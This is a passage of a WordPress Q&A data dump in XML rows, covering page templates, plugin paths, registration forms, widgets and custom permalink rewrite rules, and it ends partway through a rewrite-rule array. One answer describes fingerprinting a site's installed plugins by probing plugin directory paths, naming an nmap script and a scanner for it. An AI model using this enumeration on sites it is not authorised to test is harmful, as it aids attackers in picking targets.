  <row Id="20906" PostTypeId="1" CreationDate="2011-06-23T23:18:47.797" Score="0" ViewCount="42" Body="&lt;p&gt;I created 2 pages:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Books, which has a URL of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;books/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Harry Potter, which has a URL of&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;books/harry-potter&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...because it is a subpage of the books page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The books page uses the template page.php, but the subpage (Harry Potter) does not. Instead, it shows the home page. Why does it do this? Shouldn't it use the page.php template?&lt;/p&gt;&#xA;" OwnerUserId="6167" LastActivityDate="2011-06-23T23:18:47.797" Title="Subpage Templates" Tags="&lt;template&gt;&lt;page&gt;&lt;page-template&gt;" CommentCount="3" />
  <row Id="20907" PostTypeId="2" ParentId="20752" CreationDate="2011-06-24T00:01:34.333" Score="1" ViewCount="" Body="&lt;p&gt;Wouldn't ya know - 10 minutes or less since I asked my question and I've discovered the answer.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was attempting to define MY_PLUGIN_TEMPLATES using using plugins_dir_url(), now it looks like this and is working:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define( 'MY_PLUGIN_TEMPLATES', dirname( __FILE__ ) . '/templates' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks to mfields for the suggestion of dirname instead of WP_PLUGIN_DIR.&lt;/p&gt;&#xA;" OwnerUserId="6264" LastActivityDate="2011-06-24T00:01:34.333" />
  <row Id="20909" PostTypeId="2" ParentId="20118" CreationDate="2011-06-24T00:47:09.663" Score="0" ViewCount="" Body="&lt;p&gt;first of all, thanks a lot for every answer and everyone who thought a solution for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;my best possible solution without changing too much thing:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As i said in a comment, i will use &lt;a href=&quot;http://www.gravityforms.com/add-ons/user-registration/&quot; rel=&quot;nofollow&quot;&gt;http://www.gravityforms.com/add-ons/user-registration/&lt;/a&gt; for registering. This plugin working even you disable wordpress user registeration. So i will disable user registeration and this plugin's form will be only way to register to this site. Critical option in there was &quot;No Duplicates&quot;. I will select &quot;No Duplicates&quot; for this number input so plugin will use its previous form data for not letting 2 registeration with this number. So if i want to ban someone, i can just ban him with normal wordpress banning system and he cant register twice so problem is solved imo.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And again thanks a lot for trying to help :) &#xA;&lt;strong&gt;Note:&lt;/strong&gt; I am not doing adversitement or anything, just sharing my solution so i hope its ok.&lt;/p&gt;&#xA;" OwnerUserId="1372" LastActivityDate="2011-06-24T00:47:09.663" />
  <row Id="20910" PostTypeId="2" ParentId="20593" CreationDate="2011-06-24T01:01:30.023" Score="1" ViewCount="" Body="&lt;p&gt;Ah gotcha. Either you can use a different plugin that allows you to leave the title blank, or using the default Recent Posts widget type a single blank space in the Title area and click Save. That way the title will show as blank. Hope this helps!&#xA;Michelle&lt;/p&gt;&#xA;" OwnerUserId="16" LastActivityDate="2011-06-24T01:01:30.023" />
  <row Id="20911" PostTypeId="2" ParentId="3068" CreationDate="2011-06-24T03:21:57.343" Score="2" ViewCount="" Body="&lt;p&gt;There are a couple of tools that will brute force all the known wordpress plugins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically they just try to access /wp-content/plugins/$pluginname and if you get a forbidden you have found the plugin if its a 404 then the plugin is not installed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;http-wp-plugins.nse - nmap script does this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://code.google.com/p/cms-explorer/&quot; rel=&quot;nofollow&quot;&gt;http://code.google.com/p/cms-explorer/&lt;/a&gt; - as does this tool&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This site seems to use the read the code methods mentioned previously to try to detect the plugins &lt;a href=&quot;http://hackertarget.com/wordpress-security-scan/&quot; rel=&quot;nofollow&quot;&gt;http://hackertarget.com/wordpress-security-scan/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6461" LastActivityDate="2011-06-24T03:21:57.343" />
  <row Id="20912" PostTypeId="1" AcceptedAnswerId="21161" CreationDate="2011-06-24T04:16:02.210" Score="2" ViewCount="134" Body="&lt;p&gt;I have a page that displays posts (4 on each row), with a thumbnail image &amp;amp; title for each. Is it possible to click a text/icon link and dynamically switch the page template? I'm looking to provide an alternate view of the posts, perhaps with larger images, more text/custom fields added etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought it would be easy just to link to another page template but it changes the url (would like the url to stay the same) and for some reason it loads the closest matching post, rather than the new page template (I have the page template nested within the first).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;domain.com/page/?view=list &lt;/p&gt;&#xA;" OwnerUserId="4999" LastActivityDate="2011-06-27T05:35:52.753" Title="How can I dynamically load another page template to provide an alternate layout of the posts?" Tags="&lt;page-template&gt;" AnswerCount="4" CommentCount="2" FavoriteCount="1" />
  <row Id="20913" PostTypeId="1" AcceptedAnswerId="23615" CreationDate="2011-06-24T05:18:26.980" Score="2" ViewCount="164" Body="&lt;p&gt;This is related to another question that I had asked earlier.  I'm doing some rewrite code to create some custom permalinks for a custom post type.  I think I'm getting it mostly working except I'm getting the following error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/rhEhy.jpg&quot; alt=&quot;400 Bad Request&quot;&gt;&#xA;I noticed a few things:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Whatever I have as the postname gets replaced in the url field as %postname%&lt;/li&gt;&#xA;&lt;li&gt;If I omit the post name, it loads up in WordPress no problem&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Here is the code to setup the rewrite:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('init', 'setup_rewrites');&#xA;function setup_rewrites() {&#xA;        global $wp_rewrite;&#xA;        //Content&#xA;        add_rewrite_tag('%seriesname%','([^/]+)');&#xA;        add_rewrite_tag('%contenttype%','([^/]+)');&#xA;        $content_struct = '/content/%seriesname%/%contenttype%/%postname%';&#xA;        add_permastruct('veda_content', $content_struct, false);&#xA;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;an example url that doesn't work but should:&#xA;&lt;a href=&quot;http://watchonepiecelegally.com/content/one-piece/episode/test-1&quot; rel=&quot;nofollow&quot;&gt;http://watchonepiecelegally.com/content/one-piece/episode/test-1&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A URL that does work:&#xA;&lt;a href=&quot;http://watchonepiecelegally.com/content/one-piece/episode/&quot; rel=&quot;nofollow&quot;&gt;http://watchonepiecelegally.com/content/one-piece/episode/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I get via Jan Fabry's Rewrite Analyzer plugin:&#xA;&lt;img src=&quot;http://i.stack.imgur.com/U7wlj.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This should work but I'm missing something.  Can anyone give me a hand?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: As requested, here are the rewrite rules Wordpress is generating.  Hopefully this helps:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Array&#xA;(&#xA;    [category/(.+?)/feed/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?category_name=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [category/(.+?)/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?category_name=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [category/(.+?)/page/?([0-9]{1,})/?$] =&amp;gt; index.php?category_name=$matches[1]&amp;amp;paged=$matches[2]&#xA;    [category/(.+?)/?$] =&amp;gt; index.php?category_name=$matches[1]&#xA;    [tag/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?tag=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [tag/([^/]+)/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?tag=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [tag/([^/]+)/page/?([0-9]{1,})/?$] =&amp;gt; index.php?tag=$matches[1]&amp;amp;paged=$matches[2]&#xA;    [tag/([^/]+)/?$] =&amp;gt; index.php?tag=$matches[1]&#xA;    [type/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?post_format=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [type/([^/]+)/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?post_format=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [type/([^/]+)/page/?([0-9]{1,})/?$] =&amp;gt; index.php?post_format=$matches[1]&amp;amp;paged=$matches[2]&#xA;    [type/([^/]+)/?$] =&amp;gt; index.php?post_format=$matches[1]&#xA;    [anime-series/.+?/attachment/([^/]+)/?$] =&amp;gt; index.php?attachment=$matches[1]&#xA;    [anime-series/.+?/attachment/([^/]+)/trackback/?$] =&amp;gt; index.php?attachment=$matches[1]&amp;amp;tb=1&#xA;    [anime-series/.+?/attachment/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?attachment=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [anime-series/.+?/attachment/([^/]+)/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?attachment=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [anime-series/.+?/attachment/([^/]+)/comment-page-([0-9]{1,})/?$] =&amp;gt; index.php?attachment=$matches[1]&amp;amp;cpage=$matches[2]&#xA;    [anime-series/(.+?)/trackback/?$] =&amp;gt; index.php?veda_series=$matches[1]&amp;amp;tb=1&#xA;    [anime-series/(.+?)/feed/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?veda_series=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [anime-series/(.+?)/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?veda_series=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [anime-series/(.+?)/page/?([0-9]{1,})/?$] =&amp;gt; index.php?veda_series=$matches[1]&amp;amp;paged=$matches[2]&#xA;    [anime-series/(.+?)/comment-page-([0-9]{1,})/?$] =&amp;gt; index.php?veda_series=$matches[1]&amp;amp;cpage=$matches[2]&#xA;    [anime-series/(.+?)(/[0-9]+)?/?$] =&amp;gt; index.php?veda_series=$matches[1]&amp;amp;page=$matches[2]&#xA;    [anime-release/[^/]+/attachment/([^/]+)/?$] =&amp;gt; index.php?attachment=$matches[1]&#xA;    [anime-release/[^/]+/attachment/([^/]+)/trackback/?$] =&amp;gt; index.php?attachment=$matches[1]&amp;amp;tb=1&#xA;    [anime-release/[^/]+/attachment/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?attachment=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [anime-release/[^/]+/attachment/([^/]+)/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?attachment=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [anime-release/[^/]+/attachment/([^/]+)/comment-page-([0-9]{1,})/?$] =&amp;gt; index.php?attachment=$matches[1]&amp;amp;cpage=$matches[2]&#xA;    [anime-release/([^/]+)/trackback/?$] =&amp;gt; index.php?veda_release=$matches[1]&amp;amp;tb=1&#xA;    [anime-release/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?veda_release=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [anime-release/([^/]+)/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?veda_release=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [anime-release/([^/]+)/page/?([0-9]{1,})/?$] =&amp;gt; index.php?veda_release=$matches[1]&amp;amp;paged=$matches[2]&#xA;    [anime-release/([^/]+)/comment-page-([0-9]{1,})/?$] =&amp;gt; index.php?veda_release=$matches[1]&amp;amp;cpage=$matches[2]&#xA;    [anime-release/([^/]+)(/[0-9]+)?/?$] =&amp;gt; index.php?veda_release=$matches[1]&amp;amp;page=$matches[2]&#xA;    [anime-release/[^/]+/([^/]+)/?$] =&amp;gt; index.php?attachment=$matches[1]&#xA;    [anime-release/[^/]+/([^/]+)/trackback/?$] =&amp;gt; index.php?attachment=$matches[1]&amp;amp;tb=1&#xA;    [anime-release/[^/]+/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?attachment=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [anime-release/[^/]+/([^/]+)/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?attachment=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [anime-release/[^/]+/([^/]+)/comment-page-([0-9]{1,})/?$] =&amp;gt; index.php?attachment=$matches[1]&amp;amp;cpage=$matches[2]&#xA;    [anime_video/[^/]+/attachment/([^/]+)/?$] =&amp;gt; index.php?attachment=$matches[1]&#xA;    [anime_video/[^/]+/attachment/([^/]+)/trackback/?$] =&amp;gt; index.php?attachment=$matches[1]&amp;amp;tb=1&#xA;    [anime_video/[^/]+/attachment/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?attachment=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [anime_video/[^/]+/attachment/([^/]+)/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?attachment=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [anime_video/[^/]+/attachment/([^/]+)/comment-page-([0-9]{1,})/?$] =&amp;gt; index.php?attachment=$matches[1]&amp;amp;cpage=$matches[2]&#xA;    [anime_video/([^/]+)/trackback/?$] =&amp;gt; index.php?veda_video=$matches[1]&amp;amp;tb=1&#xA;    [anime_video/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?veda_video=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [anime_video/([^/]+)/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?veda_video=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [anime_video/([^/]+)/page/?([0-9]{1,})/?$] =&amp;gt; index.php?veda_video=$matches[1]&amp;amp;paged=$matches[2]&#xA;    [anime_video/([^/]+)/comment-page-([0-9]{1,})/?$] =&amp;gt; index.php?veda_video=$matches[1]&amp;amp;cpage=$matches[2]&#xA;    [anime_video/([^/]+)(/[0-9]+)?/?$] =&amp;gt; index.php?veda_video=$matches[1]&amp;amp;page=$matches[2]&#xA;    [anime_video/[^/]+/([^/]+)/?$] =&amp;gt; index.php?attachment=$matches[1]&#xA;    [anime_video/[^/]+/([^/]+)/trackback/?$] =&amp;gt; index.php?attachment=$matches[1]&amp;amp;tb=1&#xA;    [anime_video/[^/]+/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?attachment=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [anime_video/[^/]+/([^/]+)/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?attachment=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [anime_video/[^/]+/([^/]+)/comment-page-([0-9]{1,})/?$] =&amp;gt; index.php?attachment=$matches[1]&amp;amp;cpage=$matches[2]&#xA;    [anime_purchase/[^/]+/attachment/([^/]+)/?$] =&amp;gt; index.php?attachment=$matches[1]&#xA;    [anime_purchase/[^/]+/attachment/([^/]+)/trackback/?$] =&amp;gt; index.php?attachment=$matches[1]&amp;amp;tb=1&#xA;    [anime_purchase/[^/]+/attachment/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?attachment=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [anime_purchase/[^/]+/attachment/([^/]+)/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?attachment=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [anime_purchase/[^/]+/attachment/([^/]+)/comment-page-([0-9]{1,})/?$] =&amp;gt; index.php?attachment=$matches[1]&amp;amp;cpage=$matches[2]&#xA;    [anime_purchase/([^/]+)/trackback/?$] =&amp;gt; index.php?veda_purchase=$matches[1]&amp;amp;tb=1&#xA;    [anime_purchase/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?veda_purchase=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [anime_purchase/([^/]+)/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?veda_purchase=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [anime_purchase/([^/]+)/page/?([0-9]{1,})/?$] =&amp;gt; index.php?veda_purchase=$matches[1]&amp;amp;paged=$matches[2]&#xA;    [anime_purchase/([^/]+)/comment-page-([0-9]{1,})/?$] =&amp;gt; index.php?veda_purchase=$matches[1]&amp;amp;cpage=$matches[2]&#xA;    [anime_purchase/([^/]+)(/[0-9]+)?/?$] =&amp;gt; index.php?veda_purchase=$matches[1]&amp;amp;page=$matches[2]&#xA;    [anime_purchase/[^/]+/([^/]+)/?$] =&amp;gt; index.php?attachment=$matches[1]&#xA;    [anime_purchase/[^/]+/([^/]+)/trackback/?$] =&amp;gt; index.php?attachment=$matches[1]&amp;amp;tb=1&#xA;    [anime_purchase/[^/]+/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?attachment=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [anime_purchase/[^/]+/([^/]+)/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?attachment=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [anime_purchase/[^/]+/([^/]+)/comment-page-([0-9]{1,})/?$] =&amp;gt; index.php?attachment=$matches[1]&amp;amp;cpage=$matches[2]&#xA;    [anime-review/[^/]+/attachment/([^/]+)/?$] =&amp;gt; index.php?attachment=$matches[1]&#xA;    [anime-review/[^/]+/attachment/([^/]+)/trackback/?$] =&amp;gt; index.php?attachment=$matches[1]&amp;amp;tb=1&#xA;    [anime-review/[^/]+/attachment/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?attachment=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [anime-review/[^/]+/attachment/([^/]+)/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?attachment=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [anime-review/[^/]+/attachment/([^/]+)/comment-page-([0-9]{1,})/?$] =&amp;gt; index.php?attachment=$matches[1]&amp;amp;cpage=$matches[2]&#xA;    [anime-review/([^/]+)/trackback/?$] =&amp;gt; index.php?veda_review=$matches[1]&amp;amp;tb=1&#xA;    [anime-review/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?veda_review=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [anime-review/([^/]+)/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?veda_review=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [anime-review/([^/]+)/page/?([0-9]{1,})/?$] =&amp;gt; index.php?veda_review=$matches[1]&amp;amp;paged=$matches[2]&#xA;    [anime-review/([^/]+)/comment-page-([0-9]{1,})/?$] =&amp;gt; index.php?veda_review=$matches[1]&amp;amp;cpage=$matches[2]&#xA;    [anime-review/([^/]+)(/[0-9]+)?/?$] =&amp;gt; index.php?veda_review=$matches[1]&amp;amp;page=$matches[2]&#xA;    [anime-review/[^/]+/([^/]+)/?$] =&amp;gt; index.php?attachment=$matches[1]&#xA;    [anime-review/[^/]+/([^/]+)/trackback/?$] =&amp;gt; index.php?attachment=$matches[1]&amp;amp;tb=1&#xA;    [anime-review/[^/]+/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?attachment=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [anime-review/[^/]+/([^/]+)/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?attachment=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [anime-review/[^/]+/([^/]+)/comment-page-([0-9]{1,})/?$] =&amp;gt; index.php?attachment=$matches[1]&amp;amp;cpage=$matches[2]&#xA;    [subtitle_language/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?veda_subtitle_language=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [subtitle_language/([^/]+)/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?veda_subtitle_language=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [subtitle_language/([^/]+)/page/?([0-9]{1,})/?$] =&amp;gt; index.php?veda_subtitle_language=$matches[1]&amp;amp;paged=$matches[2]&#xA;    [subtitle_language/([^/]+)/?$] =&amp;gt; index.php?veda_subtitle_language=$matches[1]&#xA;    [audio_language/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?veda_audio_language=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [audio_language/([^/]+)/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?veda_audio_language=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [audio_language/([^/]+)/page/?([0-9]{1,})/?$] =&amp;gt; index.php?veda_audio_language=$matches[1]&amp;amp;paged=$matches[2]&#xA;    [audio_language/([^/]+)/?$] =&amp;gt; index.php?veda_audio_language=$matches[1]&#xA;    [genre/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?veda_genre=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [genre/([^/]+)/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?veda_genre=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [genre/([^/]+)/page/?([0-9]{1,})/?$] =&amp;gt; index.php?veda_genre=$matches[1]&amp;amp;paged=$matches[2]&#xA;    [genre/([^/]+)/?$] =&amp;gt; index.php?veda_genre=$matches[1]&#xA;    [studio/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?veda_studio=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [studio/([^/]+)/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?veda_studio=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [studio/([^/]+)/page/?([0-9]{1,})/?$] =&amp;gt; index.php?veda_studio=$matches[1]&amp;amp;paged=$matches[2]&#xA;    [studio/([^/]+)/?$] =&amp;gt; index.php?veda_studio=$matches[1]&#xA;    [content_type/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?veda_content_type=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [content_type/([^/]+)/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?veda_content_type=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [content_type/([^/]+)/page/?([0-9]{1,})/?$] =&amp;gt; index.php?veda_content_type=$matches[1]&amp;amp;paged=$matches[2]&#xA;    [content_type/([^/]+)/?$] =&amp;gt; index.php?veda_content_type=$matches[1]&#xA;    [publisher/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?veda_publisher=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [publisher/([^/]+)/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?veda_publisher=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [publisher/([^/]+)/page/?([0-9]{1,})/?$] =&amp;gt; index.php?veda_publisher=$matches[1]&amp;amp;paged=$matches[2]&#xA;    [publisher/([^/]+)/?$] =&amp;gt; index.php?veda_publisher=$matches[1]&#xA;    [release_type/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?veda_release_type=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [release_type/([^/]+)/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?veda_release_type=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [release_type/([^/]+)/page/?([0-9]{1,})/?$] =&amp;gt; index.php?veda_release_type=$matches[1]&amp;amp;paged=$matches[2]&#xA;    [release_type/([^/]+)/?$] =&amp;gt; index.php?veda_release_type=$matches[1]&#xA;    [release_rating/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?veda_rating=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [release_rating/([^/]+)/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?veda_rating=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [release_rating/([^/]+)/page/?([0-9]{1,})/?$] =&amp;gt; index.php?veda_rating=$matches[1]&amp;amp;paged=$matches[2]&#xA;    [release_rating/([^/]+)/?$] =&amp;gt; index.php?veda_rating=$matches[1]&#xA;    [video_source/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?veda_video_source=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [video_source/([^/]+)/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?veda_video_source=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [video_source/([^/]+)/page/?([0-9]{1,})/?$] =&amp;gt; index.php?veda_video_source=$matches[1]&amp;amp;paged=$matches[2]&#xA;    [video_source/([^/]+)/?$] =&amp;gt; index.php?veda_video_source=$matches[1]&#xA;    [retailer/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?veda_retailer=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [retailer/([^/]+)/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?veda_retailer=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [retailer/([^/]+)/page/?([0-9]{1,})/?$] =&amp;gt; index.php?veda_retailer=$matches[1]&amp;amp;paged=$matches[2]&#xA;    [retailer/([^/]+)/?$] =&amp;gt; index.php?veda_retailer=$matches[1]&#xA;    [content/[^/]+/[^/]+/[^/]+/attachment/([^/]+)/?$] =&amp;gt; index.php?attachment=$matches[1]&#xA;    [content/[^/]+/[^/]+/[^/]+/attachment/([^/]+)/trackback/?$] =&amp;gt; index.php?attachment=$matches[1]&amp;amp;tb=1&#xA;    [content/[^/]+/[^/]+/[^/]+/attachment/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?attachment=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [content/[^/]+/[^/]+/[^/]+/attachment/([^/]+)/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?attachment=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [content/[^/]+/[^/]+/[^/]+/attachment/([^/]+)/comment-page-([0-9]{1,})/?$] =&amp;gt; index.php?attachment=$matches[1]&amp;amp;cpage=$matches[2]&#xA;    [content/([^/]+)/([^/]+)/([^/]+)/trackback/?$] =&amp;gt; index.php?seriesname=$matches[1]&amp;amp;contenttype=$matches[2]&amp;amp;name=$matches[3]&amp;amp;tb=1&#xA;    [content/([^/]+)/([^/]+)/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?seriesname=$matches[1]&amp;amp;contenttype=$matches[2]&amp;amp;name=$matches[3]&amp;amp;feed=$matches[4]&#xA;    [content/([^/]+)/([^/]+)/([^/]+)/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?seriesname=$matches[1]&amp;amp;contenttype=$matches[2]&amp;amp;name=$matches[3]&amp;amp;feed=$matches[4]&#xA;    [content/([^/]+)/([^/]+)/([^/]+)/page/?([0-9]{1,})/?$] =&amp;gt; index.php?seriesname=$matches[1]&amp;amp;contenttype=$matches[2]&amp;amp;name=$matches[3]&amp;amp;paged=$matches[4]&#xA;    [content/([^/]+)/([^/]+)/([^/]+)(/[0-9]+)?/?$] =&amp;gt; index.php?seriesname=$matches[1]&amp;amp;contenttype=$matches[2]&amp;amp;name=$matches[3]&amp;amp;page=$matches[4]&#xA;    [content/[^/]+/[^/]+/[^/]+/([^/]+)/?$] =&amp;gt; index.php?attachment=$matches[1]&#xA;    [content/[^/]+/[^/]+/[^/]+/([^/]+)/trackback/?$] =&amp;gt; index.php?attachment=$matches[1]&amp;amp;tb=1&#xA;    [content/[^/]+/[^/]+/[^/]+/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?attachment=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [content/[^/]+/[^/]+/[^/]+/([^/]+)/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?attachment=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [content/[^/]+/[^/]+/[^/]+/([^/]+)/comment-page-([0-9]{1,})/?$] =&amp;gt; index.php?attachment=$matches[1]&amp;amp;cpage=$matches[2]&#xA;    [content/([^/]+)/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?seriesname=$matches[1]&amp;amp;contenttype=$matches[2]&amp;amp;feed=$matches[3]&#xA;    [content/([^/]+)/([^/]+)/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?seriesname=$matches[1]&amp;amp;contenttype=$matches[2]&amp;amp;feed=$matches[3]&#xA;    [content/([^/]+)/([^/]+)/page/?([0-9]{1,})/?$] =&amp;gt; 